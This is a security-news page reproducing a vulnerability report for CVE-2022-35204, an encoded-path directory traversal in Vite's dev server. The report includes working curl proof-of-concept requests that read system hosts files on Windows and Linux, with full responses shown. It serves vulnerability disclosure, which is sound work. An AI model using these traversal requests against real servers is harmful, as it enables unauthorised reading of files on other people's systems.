Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2022-35204: Unrestricted directory traversal with `@fs` (Bypass) · Issue #8498 · vitejs/vite

Vitejs Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim’s service.

CVE
#vulnerability#mac#windows#microsoft#ubuntu#linux#nodejs#js#git#perl#amd#chrome#firefox

Describe the bug

The vulnerability found at #2820 was found to be not fixed properly, which leads to the unrestricted directory traversal.

Currently the @fs directory does check for the allowed path, but it does not check for encoded paths.

For example, assuming that /@fs/home/test/ is the only allowed path, this can be bypassed by accessing /@fs/home/test/%2e%2e%2f%2e%2e%2f, which translates to /@fs/home/test/…/…/ internally.

Since this way of access through the browser may output an inconsistent result, curl --path-as-is can be used as an alternative way to reproduce such issue.

Reproduction

Any vite project is affected by this vulnerability.

npm init @vitejs/app app cd app npm install npm run dev

Reproduction in Windows

Accessing C:/Windows/System32/drivers/etc/hosts is blocked since the allow list only contains C:/Users/stypr/Desktop/development/q/vite-project.

$ curl --path-as-is -v “http://localhost:3001/@fs/C:/Windows/System32/drivers/etc/hosts” * Trying ::1:3001… * Trying 127.0.0.1:3001… * Connected to localhost (127.0.0.1) port 3001 (#0) > GET /@fs/C:/Windows/System32/drivers/etc/hosts HTTP/1.1 > Host: localhost:3001 > User-Agent: curl/7.75.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 403 Forbidden < Access-Control-Allow-Origin: * < Date: Wed, 08 Jun 2022 04:00:32 GMT < Connection: keep-alive < Keep-Alive: timeout=5 < Transfer-Encoding: chunked <

<body\>
  <h1>403 Restricted</h1>
  <p\>The request url "C:/Windows/System32/drivers/etc/hosts" is outside of Vite serving allow list.<br/><br/\>\- C:/Users/stypr/Desktop/development/q/vite-project<br/><br/\>Refer to docs https://vitejs.dev/config/#server-fs-allow for configurations and more details.</p>
  <style\>
    body {
      padding: 1em 2em;
    }
  </style\>
</body\>

* Connection #0 to host localhost left intact *

What if we access like C:/Users/stypr/Desktop/development/q/vite-project/…/…/…/…/…/…/Windows/System32/drivers/etc/hosts? In typical cases, this doesn’t work

However, if we replace the path …/ as %2e%2e%2f and replace every trailing slashes to %2f, the check is bypassed and the path traversal becomes successful.

$ curl --path-as-is -v “http://localhost:3001/@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts” * Trying ::1:3001… * Trying 127.0.0.1:3001… * Connected to localhost (127.0.0.1) port 3001 (#0) > GET /@fs/C:/Users/stypr/Desktop/development/q/vite-project/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2fSystem32%2fdrivers%2fetc%2fhosts HTTP/1.1 > Host: localhost:3001 > User-Agent: curl/7.75.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Length: 824 < Content-Type: < Last-Modified: Tue, 31 May 2022 03:15:34 GMT < ETag: W/"824-1653966934106" < Cache-Control: no-cache < Date: Wed, 08 Jun 2022 03:53:26 GMT < Connection: keep-alive < Keep-Alive: timeout=5 <

Copyright © 1993-2009 Microsoft Corp.

This is a sample HOSTS file used by Microsoft TCP/IP for Windows.

This file contains the mappings of IP addresses to host names. Each

entry should be kept on an individual line. The IP address should

be placed in the first column followed by the corresponding host name.

The IP address and the host name should be separated by at least one

space.

Additionally, comments (such as these) may be inserted on individual

lines or following the machine name denoted by a ‘#’ symbol.

For example:

102.54.94.97 rhino.acme.com # source server

38.25.63.10 x.acme.com # x client host

localhost name resolution is handled within DNS itself.

127.0.0.1 localhost

::1 localhost

*a Connection #0 to host localhost left intact

Reproduction in Linux

Linux is also pretty much the same, you can first get the whitelist path (/srv/q/app) by accessing a random path(/@fs/…), and then do a path traversal based on the given whitelist.

curl -v --path-as-is “http://192.168.125.129:3000/@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts” * Trying 192.168.125.129:3000… * TCP_NODELAY set * Connected to 192.168.125.129 (192.168.125.129) port 3000 (#0) > GET /@fs/srv/q/app/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fhosts HTTP/1.1 > Host: 192.168.125.129:3000 > User-Agent: curl/7.68.0 > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Access-Control-Allow-Origin: * < Content-Length: 221 < Content-Type: < Last-Modified: Tue, 30 Jun 2020 09:41:51 GMT < ETag: W/"221-1593510111311" < Cache-Control: no-cache < Date: Wed, 08 Jun 2022 04:09:49 GMT < Connection: keep-alive < Keep-Alive: timeout=5 < 127.0.0.1 localhost 127.0.1.1 ubuntu

The following lines are desirable for IPv6 capable hosts

::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters * Connection #0 to host 192.168.125.129 left intact

System Info

Windows

System: OS: Windows 10 10.0.19044 CPU: (16) x64 AMD Ryzen 7 3800X 8-Core Processor Memory: 33.13 GB / 63.93 GB Binaries: Node: 16.13.2 - C:\Program Files\nodejs\node.EXE Yarn: 1.22.10 - ~\AppData\Roaming\npm\yarn.CMD npm: 8.1.2 - C:\Program Files\nodejs\npm.CMD Browsers: Edge: Spartan (44.19041.1266.0), Chromium (102.0.1245.33)
Internet Explorer: 11.0.19041.1566 npmPackages: @vitejs/plugin-vue: ^2.3.3 => 2.3.3 vite: ^2.9.9 => 2.9.10

Linux

  System:
    OS: Linux 5.13 Ubuntu 20.04.3 LTS (Focal Fossa)
    CPU: (6) x64 AMD Ryzen 7 3800X 8-Core Processor
    Memory: 12.21 GB / 15.59 GB
    Container: Yes
    Shell: 5.0.17 - /bin/bash
  Binaries:
    Node: 14.18.3 - /usr/bin/node
    Yarn: 1.22.10 - /usr/bin/yarn
    npm: 6.14.15 - /usr/bin/npm
  Browsers:
    Chrome: 97.0.4692.99
    Firefox: 100.0.2

Used Package Manager

npm

Validations

  • Follow our Code of Conduct
  • Read the Contributing Guidelines.
  • Read the docs.
  • Check that there isn’t already an issue that reports the same bug to avoid creating a duplicate.
  • Make sure this is a Vite issue and not a framework-specific issue. For example, if it’s a Vue SFC related bug, it should likely be reported to https://github.com/vuejs/core instead.
  • Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
  • The provided reproduction is a minimal reproducible example of the bug.

Related news

GHSA-mv48-hcvh-8jj8: Vitejs Vite before v2.9.13 vulnerable to directory traversal via crafted URL to victim's service

Vitejs Vite before v2.9.13 was discovered to allow attackers to perform a directory traversal via a crafted URL to the victim's service.

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907